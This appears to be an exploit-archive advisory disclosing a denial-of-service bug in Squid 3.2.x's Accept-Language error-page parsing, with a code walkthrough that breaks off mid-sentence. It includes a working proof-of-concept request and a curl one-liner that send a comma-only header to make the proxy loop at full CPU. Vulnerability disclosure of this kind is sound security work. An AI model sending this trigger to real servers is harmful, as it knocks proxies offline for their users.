Home / exploits Squid 3.x Denial Of Service
Posted on 07 March 2013
################################################################ # DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc # ################################################################ # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ####################################### # Versions: 3.2.5, 3.2.7 This error is only triggered when squid needs to generate an error page (for example backend node is not responding etc...) POC (request): -- cut -- GET http://127.0.0.1:1/foo HTTP/1.1 Accept-Language: , -- cut -- e.g : curl -H "Accept-Language: ," http://localhost:3129/ Code: strHdrAcptLangGetItem is called with pos equals 0, therefore first branch in if (316 line) is taken, because xisspace(hdr[pos]) is false, then pos++ is not executed (because hdr[0] is ','). In 335 line statement in while is also false because hdr[0] = ',', so whole loop body is omited. dt = lang, thus after assignment in 353 line *lang == '
